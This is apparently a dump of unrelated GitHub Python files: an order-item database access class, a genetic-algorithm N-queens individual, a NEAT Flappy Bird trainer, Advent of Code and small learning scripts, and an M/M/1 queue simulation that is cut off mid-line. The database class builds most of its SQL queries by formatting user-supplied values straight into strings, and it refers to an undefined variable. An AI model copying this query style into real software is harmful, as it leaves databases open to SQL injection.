product_detail_url = %s, invoice_number = %s\n WHERE user_id = %s AND order_item_id = %s'''\n\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n try:\n cur.execute(query, (orderItem['shop_id'], orderItem['name'], orderItem['seller_sku'],\n orderItem['shop_sku'], orderItem['shipping_type'],\n orderItem['item_price'], orderItem['paid_price'],\n orderItem['currency'], orderItem['wallet_credit'],\n orderItem['tax_amount'], orderItem['shipping_service_cost'],\n orderItem['shipping_amount'], orderItem['voucher_amount'],\n orderItem['voucher_code'], orderItem['status'],\n orderItem['shipment_provider'], orderItem['is_digital'],\n orderItem['digital_delivery_info'], orderItem['tracking_code'],\n orderItem['tracking_code_pre'], orderItem['reason'],\n orderItem['reason_detail'], orderItem['purchase_order_id'],\n orderItem['purchase_order_number'], orderItem['package_id'],\n orderItem['promised_shipping_time'], orderItem['extra_attributes'],\n orderItem['shipping_provider_type'], orderItem['created_at'],\n orderItem['updated_at'], orderItem['return_status'],\n orderItem['product_main_image'], orderItem['variation'],\n orderItem['product_detail_url'], orderItem['invoice_number'],\n user['id'], orderItem['order_item_id']))\n conn.commit()\n conn.close()\n return None, None\n except Exception as ex:\n conn.rollback()\n conn.close()\n return None, '''User: {}-{}, Update-Order-Item: {}, Query: {}'''.format(user['username'], user['id'], str(ex), query)\n\n # --------------------------------------------------------------------------\n # Check Order exsits\n # --------------------------------------------------------------------------\n def isOrderItemExist(self, user, orderItemId):\n query = '''SELECT id FROM order_item WHERE order_item_id = '{}' AND user_id = '{}'\n '''.format(orderItemId, user['id'])\n try:\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n cur.execute(query)\n order = cur.fetchone()\n result = False if not order else True;\n conn.close()\n return result, None\n except Exception as ex:\n return False, '''User: {}-{}, Check-OrderItem-Exist: {}'''.format(user['username'], user['id'], str(ex))\n\n # --------------------------------------------------------------------------\n # Get OrderItem by OrderId\n # --------------------------------------------------------------------------\n def getOrderItemByOrderId(self, user, orderId):\n query = '''SELECT *\n FROM order_item\n WHERE user_id = '{}' AND order_id = '{}'\n '''.format(user['id'], orderId)\n return self.getOrderItems(user, query)\n\n # --------------------------------------------------------------------------\n # Get OrderItem by OrderId and ShopSku\n # --------------------------------------------------------------------------\n def getOrderItemByShopSku(self, user, orderId, shopSku):\n query = ''' SELECT *\n FROM order_item\n WHERE order_id = {} AND user_id = '{}' AND shop_sku = '{}'\n '''.format(orderId, user['id'], shopSku)\n return self.getOrderItems(user, query)\n\n # --------------------------------------------------------------------------\n # Get OrderItem by query for thoese functions above\n # --------------------------------------------------------------------------\n def getOrderItems(self, user, query):\n try:\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n cur.execute(query)\n\n orderItems = []\n rows = cur.fetchall()\n for row in rows:\n orderItems.append({\n 'id': row[0],\n 'order_item_id': row[1],\n 'shop_id': row[2],\n 'order_id': row[3],\n 'name': row[4],\n 'seller_sku': row[5],\n 'shop_sku': row[6],\n 'shipping_type': row[7],\n 'item_price': row[8],\n 'paid_price': row[9],\n 'currency': row[10],\n 'wallet_credit': row[11],\n 'tax_amount': row[12],\n 'shipping_amount': row[13],\n 'shipping_service_cost': row[14],\n 'voucher_amount': row[15],\n 'voucher_code': row[16],\n 'status': row[17],\n 'shipment_provider': row[18],\n 'is_digital': row[19],\n 'digital_delivery_info': row[20],\n 'tracking_code': row[21],\n 'tracking_code_pre': row[22],\n 'reason': row[23],\n 'reason_detail': row[24],\n 'purchase_order_id': row[25],\n 'purchase_order_number': row[26],\n 'package_id': row[27],\n 'promised_shipping_time': row[28],\n 'extra_attributes': row[29],\n 'shipping_provider_type': row[30],\n 'created_at': row[31],\n 'updated_at': row[32],\n 'return_status': row[33],\n 'product_main_image': row[34],\n 'variation': row[35],\n 'product_detail_url': row[36],\n 'invoice_number': row[37],\n 'earned': row[39], # row[38] is user_id, don't need it\n 'original_price': row[40],\n 'actual_paid_price': row[41]\n })\n conn.close()\n return orderItems, None\n except Exception as ex:\n return None, '''User: {}-{}, Query: {}, Get-Order-Item-By-Order-Item-Id: {}'''.format(user['username'], user['id'], query, str(ex))\n\n # --------------------------------------------------------------------------\n # Get OrderItem by order item id\n # --------------------------------------------------------------------------\n def getOrderItemByOrderItemId(self, user, orderItemId):\n query = ''' SELECT *\n FROM order_item\n WHERE user_id = '{}' AND order_item_id = '{}'\n '''.format(user['id'], orderItemId,)\n try:\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n cur.execute(query)\n if (cur.rowcount <= 0):\n conn.close()\n return None, \"User: {}-{}, Get-Order-Item-By-Order-Item-Id: {} is not found\".format(user['username'], user['id'], orderItemId)\n\n row = cur.fetchone()\n orderItem = {\n 'id': row[0],\n 'order_item_id': row[1],\n 'shop_id': row[2],\n 'order_id': row[3],\n 'name': row[4],\n 'seller_sku': row[5],\n 'shop_sku': row[6],\n 'shipping_type': row[7],\n 'item_price': row[8],\n 'paid_price': row[9],\n 'currency': row[10],\n 'wallet_credit': row[11],\n 'tax_amount': row[12],\n 'shipping_amount': row[13],\n 'shipping_service_cost': row[14],\n 'voucher_amount': row[15],\n 'voucher_code': row[16],\n 'status': row[17],\n 'shipment_provider': row[18],\n 'is_digital': row[19],\n 'digital_delivery_info': row[20],\n 'tracking_code': row[21],\n 'tracking_code_pre': row[22],\n 'reason': row[23],\n 'reason_detail': row[24],\n 'purchase_order_id': row[25],\n 'purchase_order_number': row[26],\n 'package_id': row[27],\n 'promised_shipping_time': row[28],\n 'extra_attributes': row[29],\n 'shipping_provider_type': row[30],\n 'created_at': row[31],\n 'updated_at': row[32],\n 'return_status': row[33],\n 'product_main_image': row[34],\n 'variation': row[35],\n 'product_detail_url': row[36],\n 'invoice_number': row[37],\n 'earned': row[39], # row[38] is user_id, don't need it\n 'original_price': row[40],\n 'actual_paid_price': row[41]\n }\n conn.close()\n return orderItem, None\n except Exception as ex:\n return None, '''User: {}-{}, Query: {}, Get-Order-Item-By-Order-Item-Id: {}'''.format(user['username'], user['id'], query, str(ex))\n\n # --------------------------------------------------------------------------\n # Set Income for an OrderItem\n # --------------------------------------------------------------------------\n def setIncome(self, user, orderId, shopSku, income, actualPaidPrice):\n query = ''' UPDATE order_item\n SET earned = {}, actual_paid_price = {}\n WHERE order_id = {} AND user_id = '{}' AND shop_sku = '{}'\n '''.format(income, actualPaidPrice, orderId, user['id'], shopSku)\n try:\n result, exception = DatabaseHelper.execute(query)\n return exception # Exception will be null if not have any exception\n except Exception as ex:\n return '''User {}-{}, Set-Order-Item-Income: Order-Item-Id {}, Exception: {} '''.format(user['username'], user['id'], itemItemId, str(ex))\n\n # --------------------------------------------------------------------------\n # Change Original price\n # --------------------------------------------------------------------------\n def changeOriginalPrice(self, user, orderItem):\n query = ''' UPDATE order_item\n SET earned = {}, original_price = {}\n WHERE order_id = {} AND user_id = '{}' AND shop_sku = '{}'\n '''.format(orderItem['earned'], orderItem['original_price'],\n orderItem['order_id'], user['id'], orderItem['shop_sku'])\n try:\n result, exception = DatabaseHelper.execute(query)\n return exception # Exception will be null if not have any exception\n except Exception as ex:\n return '''User {}-{}, Change-Original-Price: {}, Exception: {} '''.format(user['username'], user['id'], str(orderItem), str(ex))\n\n # --------------------------------------------------------------------------\n # Mark the order as calculated to an Account Statement\n # --------------------------------------------------------------------------\n def getOrderItemByAccountStatement(self, user, accountStatementId):\n query = '''SELECT order_item.shop_sku, order.order_id, order_item.order_item_id, order.order_number,\n order_item.name, order_item.seller_sku, order_item.product_main_image,\n order_item.item_price, order_item.original_price, order_item.earned\n FROM `order`\n INNER JOIN `order_item` ON order.order_id = order_item.order_id\n WHERE order.user_id = {} AND order.account_statement_id = {}\n LIMIT 10\n '''.format(user['id'], accountStatementId)\n try:\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n cur.execute(query)\n\n orderItems = []\n rows = cur.fetchall()\n for row in rows:\n orderItems.append({\n \"shop_sku\": row[0],\n \"order_id\": row[1],\n \"order_item_id\": row[2],\n \"order_number\": row[3],\n \"name\": row[4],\n \"seller_sku\": row[5],\n \"product_main_image\": row[6],\n \"item_price\": row[7],\n \"original_price\": row[8],\n \"earned\": row[9]\n })\n conn.close()\n return orderItems, None\n except Exception as ex:\n return None, '''User: {}-{}, Get-Order-Item-By-Account-Statement: {} '''.format(user['username'], user['id'], str(ex))\n\n # --------------------------------------------------------------------------\n # Compute total earning of an account statement\n # Formula: total = SUM(earned)\n # --------------------------------------------------------------------------\n def getTotalEarningOfAccountStatement(self, user, accountStatementId):\n query = '''SELECT SUM(order_item.earned) as total_earning\n FROM `order`\n INNER JOIN `order_item` ON order.order_id = order_item.order_id\n WHERE order.user_id = {} AND order.account_statement_id = {}\n '''.format(user['id'], accountStatementId)\n try:\n conn = DatabaseHelper.getConnection()\n cur = conn.cursor()\n cur.execute(query)\n if (cur.rowcount <= 0):\n conn.close()\n return 0, None;\n\n row = cur.fetchone()\n totalEarning = row[0]\n conn.close()\n return totalEarning, None\n except Exception as ex:\n return 0, '''User: {}-{}, Get-Tatol-Earning-Of-Account-Statement: {} '''.format(user['username'], user['id'], str(ex))\n\n\n\n\n\n\n\n","repo_name":"viethoa/seller","sub_path":"server/database/order_item_dao.py","file_name":"order_item_dao.py","file_ext":"py","file_size_in_byte":21265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29176351300","text":"\"\"\"\nName: Professor S\nDescription: A representation of an N-queen solution.\n\"\"\"\nimport random\nimport base\n\nclass Individual:\n def __init__(self, size, representation=None):\n self.size = size\n self.letters = \"abcdefghijklmnopqrstuvwxyz\"\n self.representation = []\n if representation == None:\n self.create()\n else:\n self.representation = representation\n self.fitness = base.calculateFitness(self)\n \n def create(self):\n for ndx in range(self.size):\n self.representation.append(random.randint(1,self.size))\n\n def getFitness(self):\n return self.fitness\n \n def getSize(self):\n return self.size\n\n def rep(self, ndx):\n res = -1\n if ndx > -1 and ndx < self.size:\n res = self.representation[ndx]\n return res\n\n \"\"\"\n Description: Use a random number generator to change the value of a single \n value in the individual to remove stale individuals.\n Parameters: none\n Return: nothing\n \"\"\"\n def mutate(self):\n ndx = random.randint(0, self.size-1)\n newValue = random.randint(1, self.size)\n while ( newValue == self.representation[ndx] ):\n newValue = random.randint(1, self.size)\n self.representation[ndx] = newValue\n self.fitness = base.calculateFitness(self)\n \n def __str__(self):\n res = \"\\n\\t[Individual] rep: \"\n ndx = 0\n for val in self.representation:\n if ndx>0:\n res += \", \"\n res += f\"{self.letters[ndx].upper()}{val}\"\n ndx+=1\n res += f\" --> fit:{self.fitness}\"\n return res\n \n\n\n\n\n\n","repo_name":"ShelbySolomonDarnell/hw-1---NQueensGA","sub_path":"individual.py","file_name":"individual.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24480792124","text":"import time\r\nimport flappy_bird_gym\r\nimport neat\r\nimport os\r\nenv = flappy_bird_gym.make(\"FlappyBird-v0\")\r\n\r\n\r\ndef eval_genomes(genomes, config):\r\n\r\n for _, genome in genomes:\r\n observation = env.reset() \r\n done = False\r\n net = neat.nn.FeedForwardNetwork.create(genome, config) #create NN for each genome\r\n genome.fitness = 0 #Starting fitness\r\n while not done:\r\n output = net.activate(observation) #Getting output from net based on observations\r\n action = 1 if output[0]>0.5 else 0\r\n \r\n observation, reward, done, info = env.step(action) \r\n genome.fitness += reward #Rewards genome for each turn\r\n env.reset()\r\n\r\ndef run(config_file):\r\n config = neat.config.Config(neat.DefaultGenome, neat.DefaultReproduction,\r\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\r\n config_file)\r\n\r\n # Create the population, which is the top-level object for a NEAT run.\r\n p = neat.Population(config)\r\n\r\n # Add a stdout reporter to show progress in the terminal.\r\n p.add_reporter(neat.StdOutReporter(True))\r\n stats = neat.StatisticsReporter()\r\n p.add_reporter(stats)\r\n \r\n\r\n # Run for up to 100 generations.\r\n winner = p.run(eval_genomes, 100)\r\n\r\n # show final stats\r\n print('\\nBest genome:\\n{!s}'.format(winner))\r\n\r\n #render the best model\r\n winner_net = neat.nn.FeedForwardNetwork.create(winner, config)\r\n render_model(winner_net)\r\n\r\ndef render_model(winner):\r\n \r\n observation = env.reset()\r\n \r\n done = False\r\n \r\n \r\n while not done:\r\n time.sleep(1 / 30)\r\n env.render() #Render game \r\n output = winner.activate(observation)\r\n \r\n action = 1 if output[0]>0.5 else 0\r\n observation, reward, done, info = env.step(action)\r\n env.reset()\r\n\r\nif __name__ == '__main__':\r\n #path to config file\r\n local_dir = os.path.dirname(__file__)\r\n config_path = os.path.join(local_dir, 'config-feedforward.txt')\r\n run(config_path)\r\n\r\n env.close()","repo_name":"markostamos/neat_flappy","sub_path":"flappy.py","file_name":"flappy.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31438956030","text":"INPUT_FILE = f\"input/{__file__.split('.')[0].rstrip('b')}\"\r\nknown_by_length = {\r\n 2: 1,\r\n 3: 7,\r\n 4: 4,\r\n 7: 8\r\n}\r\n\r\ndef getInput():\r\n with open(INPUT_FILE, 'r') as f:\r\n return f.read().splitlines()\r\n\r\ndef partOne():\r\n inp = getInput()\r\n signals = []\r\n one = 2\r\n four = 4\r\n seven = 3\r\n eight = 7\r\n ones = fours = sevens = eights = 0\r\n\r\n for line in inp:\r\n line = line.split(\" | \")\r\n signals.append([line[0].split(), line[1].split()])\r\n\r\n for signal in signals:\r\n for num in signal[1]:\r\n ones += 1 if len(num) == one else 0\r\n fours += 1 if len(num) == four else 0\r\n sevens += 1 if len(num) == seven else 0\r\n eights += 1 if len(num) == eight else 0\r\n\r\n return ones + fours + sevens + eights\r\n\r\ndef partTwo():\r\n inp = getInput()\r\n total = 0\r\n\r\n for line in inp:\r\n line = line.split(\" | \")\r\n signal_patterns, digits = line[0].split(), line[1].split()\r\n total += decode(signal_patterns, digits)\r\n\r\n return total\r\n\r\n# cheated again\r\ndef decode(signal_patterns, digits):\r\n signal_patterns = [''.join(sorted(pattern)) for pattern in signal_patterns]\r\n digits = [''.join(sorted(digit)) for digit in digits]\r\n\r\n mapping = {}\r\n reverse_mapping = {}\r\n\r\n for pattern in signal_patterns:\r\n pattern_length = len(pattern)\r\n\r\n if (pattern_length in known_by_length): # 1, 4, 7, 8\r\n pattern_number = known_by_length[pattern_length]\r\n mapping[pattern] = pattern_number\r\n reverse_mapping[pattern_number] = set(pattern)\r\n \r\n for pattern in signal_patterns:\r\n pattern_length = len(pattern)\r\n pattern_set = set(pattern)\r\n\r\n if (pattern_length == 6): # 0, 6, 9\r\n if (not reverse_mapping[1].issubset(pattern_set)):\r\n mapping[pattern] = 6\r\n elif (reverse_mapping[4].issubset(pattern_set)):\r\n mapping[pattern] = 9\r\n else:\r\n mapping[pattern] = 0\r\n elif (pattern_length == 5): # 2, 3, 5\r\n if (reverse_mapping[1].issubset(pattern_set)):\r\n mapping[pattern] = 3\r\n elif ((reverse_mapping[4] | pattern_set) == reverse_mapping[8]):\r\n mapping[pattern] = 2\r\n else:\r\n mapping[pattern] = 5 \r\n\r\n return int(''.join([str(mapping[digit]) for digit in digits]))\r\n\r\nif __name__ == \"__main__\":\r\n one = partOne()\r\n two = partTwo()\r\n print(f\"Part one: {one}\")\r\n print(f\"Part two: {two}\")","repo_name":"jajmo/advent-of-code-2021","sub_path":"8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12901902412","text":"import pandas as pd\r\nimport streamlit as st\r\n\r\n# Load the movie dataset\r\nmovie_data = pd.read_csv(\"imdb_top_1000.csv\")\r\n\r\n# Load the recommendations dataset\r\nrecommendations = pd.read_csv(\"recommendations_bert.csv\")\r\n\r\n# Set the page title and favicon\r\nst.set_page_config(page_title=\"WebUI\", page_icon=\":clapper:\")\r\n\r\n# Set the title of the web app\r\nst.title(\"Movie Recommendations\")\r\n\r\n# Create a text input box to enter the movie name\r\nselected_movie = st.text_input(\"Enter the title of the movie\")\r\n\r\n# Check if user has entered any text\r\nif selected_movie:\r\n\r\n # Find the recommendations for the selected movie\r\n recommendation_row = recommendations.loc[recommendations[\"Watched Movie\"].str.lower() == selected_movie.lower()]\r\n\r\n # If the movie is not found in the recommendations file, display an error message\r\n if recommendation_row.empty:\r\n st.write(\"Movie not found in recommendations.\")\r\n\r\n # If the movie is found, display its top 5 recommendations\r\n else:\r\n st.write(f\"Top 5 recommendations for {selected_movie}:\")\r\n for i in range(1, 6):\r\n recommended_movie = recommendation_row.iloc[0, i]\r\n recommended_movie_data = movie_data.loc[movie_data[\"Series_Title\"].str.lower() == recommended_movie.lower()]\r\n if not recommended_movie_data.empty:\r\n poster = recommended_movie_data[\"Poster_Link\"].values[0]\r\n title = recommended_movie_data[\"Series_Title\"].values[0]\r\n year = recommended_movie_data[\"Released_Year\"].values[0]\r\n st.image(poster, caption=f\"{title} ({year})\", width=100)\r\n else:\r\n st.write(f\"{recommended_movie} not found in movie data.\")\r\n","repo_name":"akashramdev/Recommendation_BERT","sub_path":"app_bert_ui.py","file_name":"app_bert_ui.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"783683843","text":"import pandas as pd\nimport numpy as np\n\n\n\n\ndef readFile(filename):\n data = pd.read_csv(filename, sep=\",\", usecols=[0, 6], names=['Date', 'Price'], header=0)\n returns = np.array(data[\"Price\"][:-1], np.float) / np.array(data[\"Price\"][1:], np.float) - 1\n data[\"Returns\"] = np.append(returns, np.nan)\n data.index = data[\"Date\"]\n\n return data\n\n\natt = \"~/anaconda3/envs/interview_prep/machine_learning/CopyOfATT.csv\"\ncoke = \"~/anaconda3/envs/interview_prep/machine_learning/CopyOfKO2.csv\"\nspy = \"~/anaconda3/envs/interview_prep/machine_learning/SPY.csv\"\n\nattData = readFile(att)\nspyData = readFile(spy)\ncokeData = readFile(coke)\n\n# Done to return an array of arrays (each with 1 element\n# Specific formatting for sklearn\nxData = spyData[\"Returns\"][0:-1].reshape(-1, 1)\n\nprint(xData)\n#[[ 0.27192919]\n# [-0.17106873]\n# [-0.12372074]\n# ...,\n# [ 0.13934329]\n# [-0.46921876]\n# [ 0.70614791]]\n\nyData = cokeData[\"Returns\"][0:-1]\nprint(yData)\n\nfrom sklearn import datasets, linear_model\ngoodCokeModel = linear_model.LinearRegression()\ngoodCokeModel.fit(xData, yData)\n\n# Measure R-square by using score\nrSquare = goodCokeModel.score(xData, yData)\nprint(rSquare)\n\n# Determine coefficients\nprint(goodCokeModel.coef_)\n\n# Determine intercept\nprint(goodCokeModel.intercept_)\n\n# Determine residues\nprint(goodCokeModel.residues_)\n\nimport matplotlib.pyplot as plt\nplt.scatter(xData, yData, color='black')\nplt.plot(xData, goodCokeModel.predict(xData), color='blue', linewidth=3)\nplt.xticks(())\nplt.yticks(())\nplt.show()","repo_name":"dano09/machine_learning","sub_path":"machine_learning/simple_regression.py","file_name":"simple_regression.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72663196568","text":"def linear_search(l: list(), s: tuple()):\n for i, v in enumerate(l):\n if v in s:\n print(i, end=' ')\n \n \nl1 = [17, 92, 18, 33, 58, 5, 33, 42]\nl2 = (18, 33, 900)\n\nprint(linear_search(l1, l2))\n\n\n# 학생 번호 찾기\ndef search_name(no, na):\n di = {}\n for i, v in zip(no, na):\n di[i] = v\n \n s_num = int(input(\"학생 번호: \"))\n return di[s_num]\n \n \nstu_no = [39, 14, 67, 105]\nstu_name = [\"Justin\", \"John\", \"Mike\", \"Summer\"]\n\nprint(search_name(stu_no, stu_name))","repo_name":"AlexMJY/project_with_python","sub_path":"algorithm/linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"46270835847","text":"import cv2\nimport numpy as np\n\nface_cas = cv2.CascadeClassifier('haarcascade_frontalface.xml')\n\ndef video(source=0):\n cap = cv2.VideoCapture(source)\n if not cap.isOpened():\n return False\n else:\n return cap\n\ncap = video()\nwhile cap.isOpened():\n ret, frame = cap.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cas.detectMultiScale(gray,\n scaleFactor=1.1,\n minNeighbors=5)\n for x, y, w, h in faces:\n frame = cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 255), 6)\n cv2.imshow('detected', frame)\n if cv2.waitKey(1) & 0xff == ord('q'):\n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"xts-x-xvxl-wxrld/live-face-detection-","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33828719753","text":"import random\n\n\n# matrix dioganal sum\nsize = 3\n\nmatrix = [[random.randint(0, 100) for _ in range(size)] for i in range(size)]\n\nprint(matrix)\n\n\nfor line in matrix:\n for item in line:\n print(f'{item:>4}', end='')\n print()\n\nsumd1 = 0\nsumd2 = 0\nfor i in range(size):\n sumd1 += matrix[i][i]\n sumd2 += matrix[i][size - i - 1]\n\nprint(sumd1, sumd2)\n","repo_name":"IgnatikVodichka/Python_Courses","sub_path":"Learning_Python/Algorithms_Data_Structures/List_Tuple_Set_Dictionary/2.8.Matrix_diagonal_sum.py","file_name":"2.8.Matrix_diagonal_sum.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33003511062","text":"from collections import deque\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\n# Promedio de clientes en el sistema\n# Promedio de clientes en cola.\n# Tiempo promedio en sistema\n# Tiempo promedio en cola. Calcular demora promedio en cola por corrida, sumarlas y dividirlas por cantidad de corridas. Sería d(n), clase 07/04 56:00:00.\n# Utilización del servidor\n# Probabilidad de n clientes en cola\n# Probabilidad de denegación de servicio (cola finita de tamaño: 0, 2, 5, 10, 50)\n\n# Variar, al menos, las tasas de arribo: 25%, 50%, 75%, 100%, 125% con respecto a la tasa de servicio\n# Mínimo de 10 corridas por cada experimento\n\n\n# Constantes\nclass EventType:\n ARRIVAL = 'ARRIVAL'\n DEPARTURE = 'DEPARTURE'\nclass StatusCode:\n BUSY = 'BUSY'\n IDLE = 'IDLE'\n\n# Clases\nclass Event:\n def __init__(self, eventType, timeOfOccurence):\n self.type = eventType\n self.time = timeOfOccurence\n\nclass Customer:\n def __init__(self, arrival_time):\n self.arrival_time = arrival_time\n\nclass Experiment:\n def __init__(self, service_rate, arrival_rate, queue_size, num_iterations):\n self.service_rate = service_rate\n self.arrival_rate = arrival_rate\n self.queue_size = queue_size\n self.num_iterations = num_iterations\n\n self.results = []\n\n def add_iteration_result(self, iteration_result):\n self.results.append(iteration_result)\n\n def calc_results(self):\n # TODO: Calc experiment results\n self.avg_delay_queue = sum(map(lambda result: result.avg_delay_queue, self.results)) / self.num_iterations\n self.reject_prob = sum(map(lambda result: result.reject_prob, self.results)) / self.num_iterations\n self.avg_cust_queue = sum(map(lambda result: result.avg_cust_queue, self.results)) / self.num_iterations\n self.server_usage = sum(map(lambda result: result.server_usage, self.results)) / self.num_iterations\n self.avg_cust_system = sum(map(lambda result: result.avg_cust_system, self.results)) / self.num_iterations\n self.avg_delay_system = sum(map(lambda result: result.avg_delay_system, self.results)) / self.num_iterations\n self.time = sum(map(lambda result: result.time, self.results)) / self.num_iterations\n\n def plot(self, id):\n # TODO: Plot\n self.fig, self.axs = plt.subplots(3, 2, constrained_layout=True)\n\n self.plot_single(0, 0, list(map(lambda result: result.avg_cust_system, self.results)), 'Promedio de clientes en sistema', 'Cantidad')\n self.plot_single(1, 0, list(map(lambda result: result.avg_cust_queue, self.results)), 'Promedio de clientes en cola', 'Cantidad')\n self.plot_single(2, 0, list(map(lambda result: result.avg_delay_system, self.results)), 'Tiempo promedio en sistema', 'Tiempo')\n self.plot_single(0, 1, list(map(lambda result: result.avg_delay_queue, self.results)), 'Tiempo promedio en cola', 'Tiempo')\n self.plot_single(1, 1, list(map(lambda result: result.server_usage, self.results)), 'Utilizacion del servidor', 'Utilizacion (%)')\n self.plot_single(2, 1, list(map(lambda result: result.reject_prob, self.results)), 'Probabilidad de denegacion de servicio', 'Probabilidad (%)')\n\n self.fig.suptitle(f'Tasa de Servicio: {self.service_rate} - Tasa de Arribo: {self.arrival_rate} - Tamaño de Cola: {self.queue_size}')\n \n plt.savefig(f'graficos/ExperimentoMM1-arribo-{self.arrival_rate}-cola-{self.queue_size}.png')\n\n\n def plot_single(self, posX, posY, data, title, yLabel):\n self.axs[posX, posY].set_title(title)\n self.axs[posX, posY].set_xlabel(\"Cantidad de Corridas\")\n self.axs[posX, posY].set_ylabel(yLabel)\n self.axs[posX, posY].grid(True)\n self.axs[posX, posY].plot(data)\n\n\nclass IterationResult:\n def calc_avg_delay_queue(self, total_delays, num_served_customers):\n self.avg_delay_queue = total_delays / num_served_customers\n\n def calc_reject_prob(self, num_arrivals, num_rejected):\n self.reject_prob = num_rejected / num_arrivals\n\n def calc_avg_cust_queue(self, area_customers_in_queue, clock):\n self.avg_cust_queue = area_customers_in_queue / clock\n\n def calc_server_usage(self, area_server_status, clock):\n self.server_usage = area_server_status / clock\n\n def calc_avg_cust_system(self, lambda_parameter, mu_parameter):\n self.avg_cust_system = self.avg_cust_queue + (lambda_parameter / mu_parameter)\n\n def calc_avg_delay_system(self, mu_parameter):\n self.avg_delay_system = self.avg_delay_queue + (1 / mu_parameter)\n\n def set_experiment_time(self, time):\n self.time = time\n\n\nclass MM1:\n def __init__(self, max_served_customers, arrival_rate, service_rate, queue_size):\n # Parametros\n self.max_served_customers = max_served_customers\n self.arrival_rate = arrival_rate\n self.service_rate = service_rate\n self.queue_size = queue_size # TODO: IMPLEMENT QUEUE SIZE\n\n # Variables de estado (rutina de inicializacion)\n self.initialization_routine()\n\n def start(self):\n while self.num_served_customers < self.max_served_customers:\n self.timing_routine()\n\n self.update_stats()\n\n self.event_routine()\n\n return self.build_results()\n\n # self.report_generator()\n\n # Main Flow\n def initialization_routine(self):\n # Variables de estado\n self.clock = 0\n self.status = StatusCode.IDLE\n self.queue = deque([])\n self.events = []\n self.add_arrival() # Primer evento: llegada en un instante aleatorio obtenido con dist. exponencial\n self.nextEvent = None\n self.num_served_customers = 0\n\n # Contadores Estadisticos\n # TODO: Agregar Inicializacion Contadores estadisticas\n self.total_delays = 0\n self.num_arrivals = 0\n self.num_rejected = 0\n self.last_event_time = 0\n self.area_customers_in_queue = 0\n self.area_server_status = 0\n\n def timing_routine(self):\n self.nextEvent = min(self.events, key = lambda event: event.time)\n\n self.events.remove(self.nextEvent)\n\n self.clock = self.nextEvent.time\n\n def update_stats(self):\n time_since_last_event = self.clock - self.last_event_time\n self.last_event_time = self.clock\n\n self.area_customers_in_queue += len(self.queue) * time_since_last_event\n self.area_server_status += time_since_last_event if self.status == StatusCode.BUSY else 0\n\n def event_routine(self):\n if self.nextEvent.type == EventType.ARRIVAL:\n self.num_arrivals += 1\n \n if self.status == StatusCode.BUSY:\n # Servidor ocupado, agregamos el customer a la cola (si hay espacio)\n if len(self.queue) < self.queue_size:\n self.queue.append(Customer(self.clock))\n else:\n self.num_rejected += 1\n else:\n # Servidor libre, atendemos al customer\n self.serve()\n \n self.add_arrival()\n else:\n if len(self.queue) > 0:\n self.serve()\n else:\n self.status = StatusCode.IDLE\n\n def report_generator(self):\n # TODO: implement or delete\n print('TO BE IMPLEMENTED')\n\n # Helpers\n def add_arrival(self):\n self.events.append(Event(EventType.ARRIVAL, np.random.exponential(1 / self.arrival_rate) + self.clock))\n\n def add_departure(self):\n self.events.append(Event(EventType.DEPARTURE, np.random.exponential(1 / self.service_rate) + self.clock))\n\n def serve(self):\n if (len(self.queue) > 0):\n self.total_delays += (self.clock - self.queue[0].arrival_time)\n self.queue.popleft()\n\n self.status = StatusCode.BUSY\n self.num_served_customers += 1\n self.add_departure()\n\n def build_results(self):\n # Creating entity instance\n result = IterationResult()\n\n # Calculating results\n result.calc_avg_delay_queue(self.total_delays, self.num_served_customers)\n result.calc_reject_prob(self.num_arrivals, self.num_rejected)\n result.calc_avg_cust_queue(self.area_customers_in_queue, self.clock)\n result.calc_server_usage(self.area_server_status, self.clock)\n result.calc_avg_cust_system(self.arrival_rate, self.service_rate)\n result.calc_avg_delay_system(self.service_rate)\n result.set_experiment_time(self.clock)\n\n return result\n\ndef build_experiments(service_rate, arrival_rates, queue_sizes, num_iterations):\n experiments = []\n for queue_size in queue_sizes:\n for arrival_rate in arrival_rates:\n experiments.append(Experiment(service_rate, arrival_rate, queue_size, num_iterations))\n \n return experiments\n\n\nmax_served_customers = 10000\nnum_iterations = 10\nservice_rate = 4\n\n# Building experiments\narrival_rates = [.25 * service_rate, .5 * service_rate, .75 * service_rate, 1 * service_rate, 1.25 * service_rate]\nqueue_sizes = [0, 2, 5, 10, 50]\nexperiments = build_experiments(service_rate, arrival_rates, queue_sizes, num_iterations)\n\nfor experiment in experiments:\n for i in range(experiment.num_iterations):\n experiment.add_iteration_result(MM1(max_served_customers, experiment.arrival_rate, service_rate, experiment.queue_size).start())\n\n experiment.calc_results()\n\ncont = 1\nfor experiment in experiments:\n print('-----------------------------------------------')\n print(f'EXPERIMENTO {cont} - Tasa de arribo {experiment.arrival_rate}. 